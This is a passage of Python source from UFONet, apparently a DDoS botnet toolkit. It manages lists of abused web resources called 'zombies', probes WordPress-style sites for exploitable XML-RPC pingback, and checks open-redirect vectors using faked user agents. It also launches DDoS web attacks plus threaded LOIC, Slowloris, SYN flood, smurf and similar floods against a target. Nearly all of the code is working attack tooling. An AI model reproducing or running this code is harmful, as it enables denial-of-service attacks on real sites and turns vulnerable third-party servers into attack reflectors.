  4687. # update zombies on file
  4688. options = self.options
  4689. if options.attackme:
  4690. f = open(self.zombies_file, "w") # re-write list
  4691. for zombie in self.doll.real_zombies: # add only alien verified zombies
  4692. for x in zombie:
  4693. f.write(str(x) + os.linesep)
  4694. f.close()
  4695. if options.test or options.testall:
  4696. if not options.test:
  4697. options.test = self.zombies_file
  4698. f = open(options.test, "w") # re-write list only with zombies ready
  4699. for zombie in zombies_ready:
  4700. f.write(zombie + os.linesep)
  4701. f.close()
  4702. if options.search or options.dorks or options.autosearch or options.download or options.download_github or options.download_nodes: # append only new zombies to list (dorking supported)
  4703. f = open(self.zombies_file)
  4704. zombies_on_file = f.read().splitlines()
  4705. with open(self.zombies_file, "a") as zombie_list:
  4706. for zombie in zombies_ready:
  4707. if zombie not in zombies_on_file: # parse possible repetitions
  4708. zombie_list.write(zombie + os.linesep)
  4709. if options.download or options.download_github or options.download_nodes:
  4710. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  4711. else:
  4712. self.scanned_zombies = self.scanned_zombies + 1 # update scanner stats only with new zombies (dorking)
  4713. f.close()
  4714. def update_aliens(self, aliens_ready):
  4715. # update aliens on file
  4716. options = self.options
  4717. if options.download or options.download_github or options.download_nodes: # append only new aliens to list
  4718. f = open(self.aliens_file)
  4719. aliens_on_file = f.read().splitlines()
  4720. with open(self.aliens_file, "a") as alien_list:
  4721. for alien in aliens_ready:
  4722. if alien not in aliens_on_file: # parse possible repetitions
  4723. alien_list.write(alien + os.linesep)
  4724. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  4725. f.close()
  4726. def update_droids(self, droids_ready):
  4727. # update droids on file
  4728. options = self.options
  4729. if options.download or options.download_github or options.download_nodes: # append only new droids to list
  4730. f = open(self.droids_file)
  4731. droids_on_file = f.read().splitlines()
  4732. with open(self.droids_file, "a") as droid_list:
  4733. for droid in droids_ready:
  4734. if droid not in droids_on_file: # parse possible repetitions
  4735. droid_list.write(droid + os.linesep)
  4736. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  4737. f.close()
  4738. def update_ucavs(self, ucavs_ready):
  4739. # update ucavs on file
  4740. options = self.options
  4741. if options.download or options.download_github or options.download_nodes: # append only new ucavs to list
  4742. f = open(self.ucavs_file)
  4743. ucavs_on_file = f.read().splitlines()
  4744. with open(self.ucavs_file, "a") as ucav_list:
  4745. for ucav in ucavs_ready:
  4746. if ucav not in ucavs_on_file: # parse possible repetitions
  4747. ucav_list.write(ucav + os.linesep)
  4748. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  4749. f.close()
  4750. def update_rpcs(self, rpcs_ready):
  4751. # update rpcs on file
  4752. options = self.options
  4753. if options.testrpc or options.testall:
  4754. f = open(self.rpcs_file, "w") # re-write list
  4755. for rpc in rpcs_ready: # add only rpc verified zombies
  4756. f.write(rpc + os.linesep)
  4757. f.close()
  4758. if options.download or options.download_github or options.download_nodes: # append only new rpcs to list
  4759. f = open(self.rpcs_file)
  4760. rpcs_on_file = f.read().splitlines()
  4761. with open(self.rpcs_file, "a") as rpc_list:
  4762. for rpc in rpcs_ready:
  4763. if rpc not in rpcs_on_file: # parse possible repetitions
  4764. rpc_list.write(rpc + os.linesep)
  4765. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  4766. f.close()
  4767. def update_dnss(self, dnss_ready):
  4768. # update dns on file
  4769. options = self.options
  4770. if options.download or options.download_github or options.download_nodes: # append only new dns to list
  4771. f = open(self.dnss_file)
  4772. dnss_on_file = f.read().splitlines()
  4773. with open(self.dnss_file, "a") as dns_list:
  4774. for dns in dnss_ready:
  4775. if dns not in dnss_on_file: # parse possible repetitions
  4776. dns_list.write(dns + os.linesep)
  4777. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  4778. f.close()
  4779. def update_ntps(self, ntps_ready):
  4780. # update ntps on file
  4781. options = self.options
  4782. if options.download or options.download_github or options.download_nodes: # append only new ntps to list
  4783. f = open(self.ntps_file)
  4784. ntps_on_file = f.read().splitlines()
  4785. with open(self.ntps_file, "a") as ntp_list:
  4786. for ntp in ntps_ready:
  4787. if ntp not in ntps_on_file: # parse possible repetitions
  4788. ntp_list.write(ntp + os.linesep)
  4789. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  4790. f.close()
  4791. def update_snmps(self, snmps_ready):
  4792. # update snmps on file
  4793. options = self.options
  4794. if options.download or options.download_github or options.download_nodes: # append only new snmps to list
  4795. f = open(self.snmps_file)
  4796. snmps_on_file = f.read().splitlines()
  4797. with open(self.snmps_file, "a") as snmp_list:
  4798. for snmp in snmps_ready:
  4799. if snmp not in snmps_on_file: # parse possible repetitions
  4800. snmp_list.write(snmp + os.linesep)
  4801. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  4802. f.close()
  4803. def search_rpc(self, rpc_host):
  4804. options = self.options
  4805. rpc_vulnerable = False
  4806. rpc_pingback_url = False
  4807. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4808. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  4809. try:
  4810. if self.options.testall: # testing_all
  4811. if options.proxy: # set proxy
  4812. self.proxy_transport(options.proxy)
  4813. req = urllib.request.Request(rpc_host, None, headers)
  4814. rpc_code = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  4815. rpc_links = re.findall('"((http|ftp)s?://.*?)"', rpc_code)
  4816. for link in rpc_links:
  4817. if 'xmlrpc.php' in link[0] and not "rsd" in link[0]: # extract rpc server url (discarding 'rsd' url)
  4818. rpc_pingback_url = link[0]
  4819. rpc_vulnerable = True
  4820. break # found it!
  4821. else: # not any XML-RPC discovering methods are working
  4822. rpc_pingback_url = rpc_host + "/xmlrpc.php"
  4823. rpc_vulnerable = False
  4824. else:
  4825. if rpc_host.startswith("http://"):
  4826. rpc_host = rpc_host.replace("http://", "")
  4827. if rpc_host.startswith("https://"):
  4828. rpc_host = rpc_host.replace("https://", "")
  4829. rpc_host = urlparse(rpc_host)
  4830. rpc_path = rpc_host.path.replace("\r", "")
  4831. self.head = True # send HTTP HEAD request searching for: X-Pingback
  4832. reply = self.connect_zombie(rpc_path)
  4833. self.head = False
  4834. if "X-Pingback" in reply: # discovering pingback-enabled resources
  4835. m = re.search('X-Pingback: (.+?)\n', reply) # regex magics
  4836. rpc_pingback_url = m.group(1) # extract rpc server url
  4837. rpc_vulnerable = True
  4838. else: # not X-Pingback on HTTP Headers (search for <link rel="pingback"... on HTML/XHTML code)
  4839. if options.proxy: # set proxy
  4840. self.proxy_transport(options.proxy)
  4841. req_rpc = urllib.request.Request(rpc_host, None, headers)
  4842. req_rpc.get_method = lambda : 'GET'
  4843. rpc_code = urllib.request.urlopen(req_rpc, context=self.ctx).read().decode('utf-8')
  4844. rpc_links = re.findall('"((http|ftp)s?://.*?)"', rpc_code)
  4845. for link in rpc_links:
  4846. if 'xmlrpc.php' in link[0] and not "rsd" in link[0]: # extract rpc server url (discarding 'rsd' url)
  4847. rpc_pingback_url = link[0]
  4848. rpc_vulnerable = True
  4849. break # found it!
  4850. else: # not any XML-RPC discovering methods are working
  4851. rpc_pingback_url = rpc_host + "/xmlrpc.php"
  4852. rpc_vulnerable = False
  4853. except: # something wrong discovering XML-RPC Pingback
  4854. pass
  4855. return rpc_vulnerable, rpc_pingback_url
  4856. def testing_offline(self):
  4857. # check for zombies offline
  4858. print ("\n[Info] [AI] Checking (sending HTTP HEAD requests) for [Zombies] offline...\n")
  4859. print('='*35)
  4860. zombies_online = 0
  4861. zombies_offline = 0
  4862. zombies = self.extract_zombies()
  4863. rpcs = self.extract_rpcs()
  4864. aliens = self.extract_aliens()
  4865. droids = self.extract_droids()
  4866. ucavs = self.extract_ucavs()
  4867. try:
  4868. botnet = zombies + rpcs + aliens + droids + ucavs
  4869. except:
  4870. return
  4871. discarded = [] # for discarded zombies
  4872. if not botnet:
  4873. return
  4874. self.head = True
  4875. for zombie in botnet:
  4876. zombie = str(zombie)
  4877. if zombie in zombies: # set zombie type (this way because cannot be same zombie with different type)
  4878. zombie_type = 'Zombie'
  4879. elif zombie in rpcs:
  4880. zombie_type = 'XML-RPC'
  4881. elif zombie in aliens:
  4882. zombie_type = 'Alien'
  4883. elif zombie in droids:
  4884. zombie_type = 'Droid'
  4885. elif zombie in ucavs:
  4886. zombie_type = 'UCAV'
  4887. t = urlparse(zombie)
  4888. name_zombie = t.netloc
  4889. if name_zombie == "":
  4890. name_zombie = zombie
  4891. if zombie_type == 'Alien': # [Aliens] are made with keyword ;$POST;
  4892. sep = ';$POST;'
  4893. zombie = zombie.split(sep, 1)[0]
  4894. try:
  4895. reply = str(self.connect_zombie(zombie))
  4896. except:
  4897. reply = None
  4898. if reply:
  4899. if reply == "200" or reply == "301" or reply == "302":
  4900. status = "ONLINE! -> [OK!]"
  4901. else:
  4902. status = "ONLINE! -> [BUT replying an INVALID HTTP CODE]"
  4903. zombies_online = zombies_online + 1
  4904. else:
  4905. status = "NOT Working!"
  4906. zombies_offline = zombies_offline + 1
  4907. print("\nName:", name_zombie)
  4908. print("Type: [", zombie_type, "]")
  4909. print("Vector:", zombie)
  4910. print("HTTP Code: [", reply, "]")
  4911. print("STATUS:", status)
  4912. print('-'*21)
  4913. if status == "NOT Working!": # add to discarded zombies
  4914. if zombie not in discarded:
  4915. discarded.append(zombie)
  4916. print("\n" + '='*52)
  4917. print("\n+ Total Botnet:", len(botnet))
  4918. print("\n" + '-'*25 + "\n")
  4919. print(" - ONLINE:", zombies_online)
  4920. print(" - OFFLINE:", zombies_offline, "\n")
  4921. print('='*52 + '\n')
  4922. self.head = False
  4923. if zombies_offline > 0:
  4924. if not self.options.forceyes:
  4925. test_reply = input("[AI] Do you want to update your army? (Y/n)\n")
  4926. print('-'*25 + "\n")
  4927. else:
  4928. test_reply = "Y"
  4929. if test_reply == "n" or test_reply == "N":
  4930. print("[AI] "+self.exit_msg+"\n")
  4931. return
  4932. else:
  4933. disc_zombies = self.discard_zombies(discarded) # discard zombies (remove from files)
  4934. print('='*52)
  4935. print("\n - DISCARDED:", disc_zombies)
  4936. new_botnet = int(len(botnet) - disc_zombies)
  4937. print("\n+ New Total Botnet:", str(new_botnet), "\n")
  4938. print('='*52 + '\n')
  4939. else:
  4940. print("[Info] [AI] [Control] ALL checked [Zombies] are ONLINE! -> [Exiting!]\n")
  4941. def send_extra_zombies(self):
  4942. # check for extra zombies: aliens, droids, rpcs, ucavs... and start attacking with them
  4943. if not self.options.disablealiens and not self.options.attackme: # different layers requests -> pure web abuse
  4944. if self.options.verbose:
  4945. print("[Info] [AI] [Control] Deploying [Aliens] with heavy 'laser-cannon' weapons...")
  4946. aliens = [self.extract_aliens()] # extract aliens from file to a list
  4947. for a in aliens:
  4948. if a is None:
  4949. self.options.disablealiens = True
  4950. self.total_aliens = 0 # not any alien invoked
  4951. else:
  4952. for s in a: # extract number of aliens
  4953. self.total_aliens = self.total_aliens + 1
  4954. al = threading.Thread(target=self.send_aliens, args=(aliens)) # multithreading to send aliens
  4955. al.start()
  4956. else:
  4957. self.options.disablealiens = True
  4958. self.total_aliens = 0 # not any alien invoked
  4959. if not self.options.disabledroids and not self.options.attackme: # GET (with parameter required) requests
  4960. if self.options.verbose:
  4961. print("[Info] [AI] [Control] Deploying [Droids] with light 'laser-cannon' weapons...")
  4962. droids = [self.extract_droids()] # extract droids from file to a list
  4963. for d in droids:
  4964. if d is None:
  4965. self.options.disabledroids = True
  4966. self.total_droids = 0 # not any droid invoked
  4967. else:
  4968. for s in d: # extract number of droids
  4969. self.total_droids = self.total_droids + 1
  4970. dr = threading.Thread(target=self.send_droids, args=(droids)) # multithreading to send droids
  4971. dr.start()
  4972. else:
  4973. self.options.disabledroids = True
  4974. self.total_droids = 0 # not any droid invoked
  4975. if not self.options.disablerpcs and not self.options.attackme: # exploit XML-RPC pingback vulnerability
  4976. if self.options.verbose:
  4977. print("[Info] [AI] [Control] Deploying [X-RPCs] with 'plasma cannon' weapons...")
  4978. rpcs = [self.extract_rpcs()] # extract rpcs from file to a list
  4979. for r in rpcs:
  4980. if r is None:
  4981. self.options.disablerpcs = True
  4982. self.total_rpcs = 0 # not any rpc invoked
  4983. else:
  4984. for s in r: # extract number of rpcs
  4985. self.total_rpcs = self.total_rpcs + 1
  4986. rp = threading.Thread(target=self.send_rpcs, args=(rpcs)) # multithreading to send rpcs
  4987. rp.start()
  4988. else:
  4989. self.options.disablerpcs = True
  4990. self.total_rpcs = 0 # not any rpcs invoked
  4991. if not self.options.disableucavs and not self.options.attackme: # perform an external 'Is target up?' round check
  4992. if self.options.verbose:
  4993. print("[Info] [AI] [Control] Deploying [UCAVs] with 'heat-beam' weapons and 'status check' scanners...")
  4994. ucavs = [self.extract_ucavs()] # extract ucavs from file to a list
  4995. for u in ucavs:
  4996. if u is None:
  4997. self.options.disableucavs = True
  4998. self.total_ucavs = 0 # not any ucav invoked
  4999. else:
  5000. for s in u: # extract number of ucavs
  5001. self.total_ucavs = self.total_ucavs + 1
  5002. uc = threading.Thread(target=self.send_ucavs, args=(ucavs)) # multithreading to send ucavs
  5003. uc.start()
  5004. else:
  5005. self.options.disableucavs = True
  5006. self.total_ucavs = 0 # not any ucavs invoked
  5007. def abandoning_zombies(self):
  5008. if self.options.expire: # set timing for purge
  5009. try:
  5010. timing = int(self.options.expire)
  5011. except:
  5012. timing = self.expire_timing # default timing for purge
  5013. else:
  5014. timing = self.expire_timing # default timing for purge
  5015. if timing < 1:
  5016. timing = self.expire_timing # default timing for purge
  5017. zombies_arrival_timing = timing # timing = trying to control round time for threading flow
  5018. zombies_lock = 0
  5019. if self.options.verbose:
  5020. print("[Info] [AI] [Control] Setting ["+str(zombies_arrival_timing)+"] per round for [Zombies] to return...")
  5021. while self.herd.no_more_zombies() == False: # abandoning -controller- zombies
  5022. zombies_lock = zombies_lock + 1
  5023. if zombies_lock > zombies_arrival_timing: # execute main abandoning routine!
  5024. if self.options.verbose:
  5025. print("\n[Info] [AI] [Control] Return time set [~"+str(zombies_arrival_timing)+"] for [Zombies] is over! -> [Expiring!]")
  5026. break
  5027. else:
  5028. time.sleep(1)
  5029. def discard_zombies(self, discarded):
  5030. disc_zombies = 0
  5031. if self.options.testoffline:
  5032. zombies_list = [self.zombies_file, self.aliens_file, self.droids_file, self.ucavs_file, self.rpcs_file]
  5033. else:
  5034. zombies_list = [self.zombies_file]
  5035. if not self.options.disablealiens: # add aliens
  5036. zombies_list.append(self.aliens_file)
  5037. if not self.options.disabledroids: # add droids
  5038. zombies_list.append(self.droids_file)
  5039. if not self.options.disablerpcs: # add rpcs
  5040. zombies_list.append(self.rpcs_file)
  5041. if not self.options.disableucavs: # add ucavs
  5042. zombies_list.append(self.ucavs_file)
  5043. for l in zombies_list:
  5044. f = open(l, "r+")
  5045. d = f.readlines()
  5046. f.close()
  5047. f = open(l, "w")
  5048. disc_zombies = self.remove_discarded_zombies(f, d, discarded, disc_zombies)
  5049. f.close()
  5050. return disc_zombies
  5051. def remove_discarded_zombies(self, f, d, discarded, disc_zombies):
  5052. m = []
  5053. for zombie in d:
  5054. if zombie not in discarded == True:
  5055. m.append(zombie) # save it
  5056. else:
  5057. disc_zombies = disc_zombies + 1
  5058. if not m:
  5059. f.write("")
  5060. else:
  5061. for z in m:
  5062. f.write(z+os.linesep)
  5063. return disc_zombies
  5064. def parse_url_encoding(self, target):
  5065. t = urlparse(target)
  5066. host = urllib.parse.quote(t.netloc.encode('utf-8'))
  5067. path = urllib.parse.quote(t.path.encode('utf-8'))
  5068. query = urllib.parse.quote(t.query.encode('utf-8'))
  5069. if query:
  5070. if path.endswith(""):
  5071. path.replace("", "/")
  5072. query = urllib.parse.quote(t.query.encode('utf-8'))
  5073. target = t.scheme+"://"+host + path + "?" + query
  5074. else:
  5075. target = t.scheme+"://"+host + path
  5076. return target
  5077. def testing_rpcs(self, rpcs):
  5078. # discover/test XML-RPC Pingback vulnerabilities on webapps (Wordpress, Drupal, PostNuke, b2evolution,
  5079. # Xoops, PHPGroupWare, TikiWiki, etc...) and update list
  5080. options = self.options
  5081. if self.options.testall: #testing_all
  5082. print('='*51)
  5083. print ("Are 'plasma' reflectors ready? :-) (XML-RPC 'Pingback' Vulnerability Check):")
  5084. print('='*51)
  5085. num_active_rpcs = 0
  5086. num_failed_rpcs = 0
  5087. rpcs_ready = []
  5088. print("Trying:", len(rpcs))
  5089. print('-'*21)
  5090. for rpc in rpcs:
  5091. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  5092. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  5093. if rpc.startswith("http://") or rpc.startswith("https://"):
  5094. print("[Info] [X-RPCs] Exploiting 'X-Pingback' at:", rpc)
  5095. rpc_host = rpc.replace("/xmlrpc.php", "")
  5096. rpc_vulnerable, rpc_pingback_url = self.search_rpc(rpc_host)
  5097. if rpc_vulnerable == True: # discover XML-RPC system.listMethods allowed
  5098. rpc_methods = "<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>"
  5099. try:
  5100. if options.proxy: # set proxy
  5101. self.proxy_transport(options.proxy)
  5102. try:
  5103. req = urllib.request.Request(rpc_pingback_url, rpc_methods.encode('utf-8'), headers)
  5104. target_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  5105. except:
  5106. if DEBUG == True:
  5107. traceback.print_exc()
  5108. if self.options.verbose:
  5109. print("[Info] [X-RPCs] Reply:", target_reply)
  5110. if "pingback.ping" in target_reply: # XML-RPC pingback.ping method is allowed!
  5111. print("[Info] [AI] -> [VULNERABLE!]")
  5112. rpcs_ready.append(rpc_pingback_url) # save XML-RPC path as RPC zombie
  5113. num_active_rpcs = num_active_rpcs + 1 # add fail to rpcs stats
  5114. else:
  5115. print("[Info] [AI] -> [NOT vulnerable...]")
  5116. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  5117. except:
  5118. print("[Info] [AI] -> [NOT vulnerable...]")
  5119. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  5120. else:
  5121. print("[Info] [AI] -> [NOT vulnerable...]")
  5122. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  5123. print('-'*21)
  5124. print('='*18)
  5125. print("OK:", num_active_rpcs, "Fail:", num_failed_rpcs)
  5126. print('='*18)
  5127. if self.options.testall: # testing_all
  5128. return rpcs_ready, num_active_rpcs, num_failed_rpcs
  5129. else:
  5130. # update 'rpcs' list
  5131. if num_active_rpcs == 0:
  5132. print("\n[Info] [X-RPCs] Not any vulnerable 'XML-RPC' active!\n")
  5133. return
  5134. else:
  5135. if not self.options.forceyes:
  5136. update_reply = input("[AI] Do you want to update your army? (Y/n)")
  5137. print('-'*25)
  5138. else:
  5139. update_reply = "Y"
  5140. if update_reply == "n" or update_reply == "N":
  5141. print("[AI] "+self.exit_msg+"\n")
  5142. return
  5143. else:
  5144. self.update_rpcs(rpcs_ready)
  5145. if not self.options.upload:
  5146. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  5147. def testing(self, zombies):
  5148. # test Open Redirect exploiting and show statistics
  5149. # HTTP HEAD check
  5150. army = 0
  5151. print ("Are 'they' alive? :-) (HEAD Check):")
  5152. print('='*35)
  5153. num_active_zombies = 0
  5154. num_failed_zombies = 0
  5155. active_zombies = []
  5156. print("Trying:", len(zombies))
  5157. print('-'*21)
  5158. for zombie in zombies:
  5159. zombie = str(zombie)
  5160. if zombie.startswith("http://") or zombie.startswith("https://"):
  5161. # send HEAD connection
  5162. self.head = True
  5163. try:
  5164. self.connect_zombies(zombie)
  5165. except:
  5166. pass
  5167. while self.herd.no_more_zombies() == False:
  5168. time.sleep(1)
  5169. for zombie in self.herd.done:
  5170. zombie = str(zombie)
  5171. t = urlparse(zombie)
  5172. if self.herd.get_result(zombie):
  5173. code_reply = self.herd.get_result(zombie)
  5174. self.head = False
  5175. if code_reply == "200" or code_reply == "302" or code_reply == "301": # HEAD check pass!
  5176. name_zombie = t.netloc
  5177. if name_zombie == "":
  5178. name_zombie = zombie
  5179. print("Zombie:", name_zombie)
  5180. print("Status: OK ["+ code_reply + "]")
  5181. num_active_zombies = num_active_zombies + 1
  5182. active_zombies.append(zombie)
  5183. elif code_reply == "401":
  5184. print("Zombie:", t.netloc)
  5185. print("Status: Unauthorized ["+ code_reply + "]")
  5186. num_failed_zombies = num_failed_zombies + 1
  5187. elif code_reply == "403":
  5188. print("Zombie:", t.netloc)
  5189. print("Status: Error Forbidden ["+ code_reply + "]")
  5190. num_failed_zombies = num_failed_zombies + 1
  5191. elif code_reply == "404":
  5192. print("Zombie:", t.netloc)
  5193. print("Status: Not Found ["+ code_reply + "]")
  5194. num_failed_zombies = num_failed_zombies + 1
  5195. elif code_reply == "500":
  5196. print("Zombie:", t.netloc)
  5197. print("Status: Internal Server Error ["+ code_reply + "]")
  5198. num_failed_zombies = num_failed_zombies + 1
  5199. else:
  5200. print("Zombie:", t.netloc, "\nVector:", zombie)
  5201. print("Status: Not Allowed ["+ code_reply + "]")
  5202. num_failed_zombies = num_failed_zombies + 1
  5203. else:
  5204. if self.options.verbose:
  5205. print("[Info] [Zombies] Reply:", "\n\nNothing!!!!!\n")
  5206. print("Zombie:", zombie)
  5207. print("Status: Malformed!")
  5208. num_failed_zombies = num_failed_zombies + 1
  5209. print('-'*10)
  5210. self.herd.reset()
  5211. print('='*18)
  5212. print("OK:", num_active_zombies, "Fail:", num_failed_zombies)
  5213. print('='*18 + "\n")
  5214. print('='*22)
  5215. if num_active_zombies > 0:
  5216. # check url parameter vectors
  5217. print ("Checking for payloads:")
  5218. print('='*22)
  5219. print("Trying:", num_active_zombies)
  5220. print('-'*21)
  5221. zombies_ready = []
  5222. num_waiting_zombies = 0
  5223. if num_active_zombies == 0:
  5224. num_disconnected_zombies = num_failed_zombies
  5225. else:
  5226. num_disconnected_zombies = 0
  5227. for zombie in active_zombies:
  5228. zombie = str(zombie)
  5229. t = urlparse(zombie)
  5230. name_zombie = t.netloc
  5231. if name_zombie == "":
  5232. name_zombie = zombie
  5233. self.payload = True
  5234. try:
  5235. self.connect_zombies(zombie)
  5236. except:
  5237. pass
  5238. self.payload = False
  5239. while self.herd.no_more_zombies() == False:
  5240. time.sleep(1)
  5241. for zombie in self.herd.done:
  5242. zombie = str(zombie)
  5243. t = urlparse(zombie)
  5244. name_zombie = t.netloc
  5245. if name_zombie == "":
  5246. name_zombie = zombie
  5247. payload_zombie = zombie
  5248. payload_reply = ""
  5249. print("Vector:", payload_zombie)
  5250. self.payload = True
  5251. if self.herd.get_result(zombie):
  5252. payload_reply = self.herd.get_result(zombie)
  5253. self.payload = False
  5254. if "https://www.whitehouse.gov" in payload_reply: #Open Redirect reply [requested by all UFONet motherships ;-)]
  5255. num_waiting_zombies = num_waiting_zombies + 1
  5256. print("Status:", "Waiting for orders... ;-)")
  5257. zombies_ready.append(zombie)
  5258. else:
  5259. num_disconnected_zombies = num_disconnected_zombies + 1
  5260. print("Status:", "Not ready...")
  5261. army = army + 1
  5262. print('-'*10)
  5263. self.herd.reset()
  5264. print('='*18)
  5265. print("OK:", num_waiting_zombies, "Fail:", num_disconnected_zombies)
  5266. print('='*18 + "\n")
  5267. # list of [Zombies] ready to attack
  5268. num_active_zombie = 0
  5269. for z in zombies_ready:
  5270. t = urlparse(z)
  5271. name_zombie = t.netloc
  5272. if name_zombie == "":
  5273. name_zombie = z
  5274. num_active_zombie = num_active_zombie + 1
  5275. if self.options.verbose:
  5276. print("Zombie [", num_active_zombie, "]:", name_zombie + "\n")
  5277. if self.options.testall: # testing_all
  5278. return zombies_ready, num_waiting_zombies, num_disconnected_zombies + num_failed_zombies
  5279. else:
  5280. print('-'*25 + "\n")
  5281. print('='*24)
  5282. print("Working [Zombies]:", num_active_zombie)
  5283. print('='*24)
  5284. if not self.options.forceyes:
  5285. update_reply = input("\n[AI] Do you want to update your army? (Y/n)")
  5286. print('-'*25)
  5287. else:
  5288. update_reply = "Y"
  5289. if update_reply == "n" or update_reply == "N":
  5290. print("[AI] "+self.exit_msg+"\n")
  5291. return
  5292. else:
  5293. self.update_zombies(zombies_ready)
  5294. if not self.options.upload:
  5295. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  5296. self.update_scanner_stats(self.scanned_zombies) # update json file with scanner stats (found via dorking)
  5297. else:
  5298. print('-'*25 + "\n")
  5299. print('='*24)
  5300. print("Working [Zombies]:", num_active_zombies)
  5301. print('='*24)
  5302. print("\n[Info] [AI] [Zombies] aren't replying to your HTTP HEAD requests! -> [Exiting!]\n")
  5303. def testing_all(self):
  5304. # test whole botnet
  5305. print ("\nChecking if [Zombies] are still infected (WARNING: this may take serveral time!)\n")
  5306. print('='*35)
  5307. zombies = self.extract_zombies()
  5308. rpcs = self.extract_rpcs()
  5309. aliens = self.extract_aliens()
  5310. droids = self.extract_droids()
  5311. ucavs = self.extract_ucavs()
  5312. try:
  5313. botnet = zombies + rpcs + aliens + droids + ucavs
  5314. tested_zombies = zombies + rpcs # test types supported: zombies + xml-rpcs
  5315. except:
  5316. return
  5317. zombies_ready, num_waiting_zombies, num_disconnected_zombies = self.testing(zombies)
  5318. rpcs_ready, num_active_rpcs, num_failed_rpcs = self.testing_rpcs(rpcs)
  5319. print("\n" + '='*52)
  5320. print("\n+ Total Botnet:", len(botnet))
  5321. print("\n" + '-'*25)
  5322. print("\n+ Total Tested:", len(tested_zombies))
  5323. print("\n - Zombies :", len(zombies), " [ OK:", str(num_waiting_zombies), "| FAILED:", str(num_disconnected_zombies), "]")
  5324. print(" - XML-RPCs:", len(rpcs), " [ OK:", str(num_active_rpcs), "| FAILED:", str(num_failed_rpcs), "]" + "\n")
  5325. print('='*52 + '\n')
  5326. if num_disconnected_zombies > 0 or num_failed_rpcs > 0:
  5327. if not self.options.forceyes:
  5328. update_reply = input("[AI] Do you want update your army? (Y/n)")
  5329. print('-'*25)
  5330. else:
  5331. update_reply = "Y"
  5332. if update_reply == "n" or update_reply == "N":
  5333. print("[AI] "+self.exit_msg+"\n")
  5334. return
  5335. else:
  5336. if num_disconnected_zombies > 0:
  5337. self.update_zombies(zombies_ready)
  5338. if num_failed_rpcs > 0:
  5339. self.update_rpcs(rpcs_ready)
  5340. if not self.options.upload:
  5341. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  5342. else:
  5343. print("[Info] [AI] [Control] ALL tested [Zombies] are working! ;-) -> [Exiting!]\n")
  5344. def attacking(self, zombies, target):
  5345. # perform a DDoS Web attack using Open Redirect vectors (and other Web Abuse services) as [Zombies]
  5346. if self.options.forcessl:
  5347. if target.startswith("http://"):
  5348. target = target.replace("http://", "https://") # force SSL/TLS
  5349. if target.startswith("http://") or target.startswith("https://"):
  5350. print("Attacking:", target)
  5351. print('='*55, "\n")
  5352. # send Open Redirect injection (multiple zombies > one target url)
  5353. reply = self.injection(target, zombies)
  5354. else:
  5355. print("\n[Error] [AI] Target not valid: "+target+" -> [Discarding!]\n")
  5356. def aiming_extra_weapons(self, target, proxy, loic, loris, ufosyn, spray, smurf, fraggle, xmas, ufoack, uforst, droper, overlap, pinger, ufoudp, nuke, tachyon, monlist, sniper):
  5357. # perform some other extra attacks (such as DoS techniques)
  5358. time.sleep(2) # aiming (multi-threading flow time compensation)
  5359. if loic:
  5360. try:
  5361. self.options.loic = int(loic)
  5362. except:
  5363. self.options.loic = 100 # default LOIC requests
  5364. if self.options.loic < 1:
  5365. self.options.loic = 100
  5366. self.instance = LOIC() # instance main class for LOIC operations
  5367. self.t1 = threading.Thread(target=self.instance.attacking, args=(target, self.options.loic, proxy)) # LOIC using threads + proxy
  5368. self.t1.daemon = True # extra weapons are threaded as daemons
  5369. self.t1.start()
  5370. self.update_loic_stats() # add new LOIC attack to mothership stats
  5371. if loris:
  5372. try:
  5373. self.options.loris = int(loris)
  5374. except:
  5375. self.options.loris = 101 # default LORIS requests (apache -> max_clients: ~100 | nginx -> no limit (other method))
  5376. if self.options.loris < 1:
  5377. self.options.loris = 101
  5378. self.instance = LORIS() # instance main class for LORIS operations
  5379. self.t2 = threading.Thread(target=self.instance.attacking, args=(target, self.options.loris)) # LORIS using threads
  5380. self.t2.daemon = True
  5381. self.t2.start()
  5382. self.update_loris_stats() # add new LORIS attack to mothership stats
  5383. if ufosyn:
  5384. try:
  5385. self.options.ufosyn = int(ufosyn)
  5386. except:
  5387. self.options.ufosyn = 100 # default UFOSYN requests
  5388. if self.options.ufosyn < 1:
  5389. self.options.ufosyn = 100
  5390. self.instance = UFOSYN() # instance main class for UFOSYN operations
  5391. self.t3 = threading.Thread(target=self.instance.attacking, args=(target, self.options.ufosyn)) # UFOSYN using threads
  5392. self.t3.daemon = True
  5393. self.t3.start()
  5394. self.update_ufosyn_stats() # add new UFOSYN attack to mothership stats
  5395. if spray:
  5396. try:
  5397. self.options.spray = int(spray)
  5398. except:
  5399. self.options.spray = 100 # default SPRAY requests
  5400. if self.options.spray < 1:
  5401. self.options.spray = 100
  5402. self.instance = SPRAY() # instance main class for SPRAY operations
  5403. self.t4 = threading.Thread(target=self.instance.attacking, args=(target, self.options.spray)) # SPRAY using threads
  5404. self.t4.daemon = True
  5405. self.t4.start()
  5406. self.update_spray_stats() # add new SPRAY attack to mothership stats
  5407. if smurf:
  5408. try:
  5409. self.options.smurf = int(smurf)
  5410. except:
  5411. self.options.smurf = 101 # default SMURF requests
  5412. if self.options.smurf < 1:
  5413. self.options.smurf = 101
  5414. self.instance = SMURF() # instance main class for SMURF operations
